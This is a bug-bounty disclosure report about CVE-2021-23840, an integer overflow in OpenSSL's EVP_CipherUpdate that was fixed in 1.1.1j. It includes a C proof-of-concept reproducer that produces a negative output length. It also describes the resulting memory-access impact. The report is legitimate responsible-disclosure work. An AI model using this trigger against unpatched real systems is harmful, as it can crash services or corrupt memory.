Integer overflow in CipherUpdate

How it was found

Summary:

I reported an integer overflow to the OpenSSL security list on Dec 13, 2020 and it was fixed in OpenSSL 1.1.1j. Reporting it here for the bounty. It was assigned CVE-2021-23840 (https://nvd.nist.gov/vuln/detail/CVE-2021-23840) which NVD rated CVSS 7.5. Amusingly, the same bug (worked around by my library pyca/cryptography before 1.1.1j was released) was assigned CVE-2020-36242 (https://nvd.nist.gov/vuln/detail/CVE-2020-36242), which received a 9.1 CVSS from NVD.

Steps To Reproduce:

The below is a reproducer for prior to 1.1.1j.

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <openssl/evp.h>

int main() {
    int res;
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    assert(ctx != NULL);
    unsigned char key[] = "0000000000000000";
    unsigned char iv[] = "0000000000000000";
    res = EVP_CipherInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv, 1);
    assert(res == 1);
    int intmax = 2147483647;
    void *inbuf = malloc(intmax);
    void *outbuf = malloc((size_t)2147483648);
    int outlen = 0;
    unsigned char data[] = "0";
    res = EVP_CipherUpdate(ctx, outbuf, &outlen, data, 1);
    printf("Processed %i bytes, outlen: %i, res: %i\n", 1, outlen, res);
    assert(res == 1);
    outlen = 0;
    res = EVP_CipherUpdate(ctx, outbuf, &outlen, (unsigned char
*)inbuf, intmax);
    assert(res == 1);
    printf("Processed %i bytes, outlen: %i, res: %i\n", intmax, outlen, res);
}

Impact

This returned negative output length, which, when combined with common use of pointer arithmetic in buffers results in accessing incorrect regions of memory (typically this would manifest as a segfault due to the size of the negative value, but that is not guaranteed).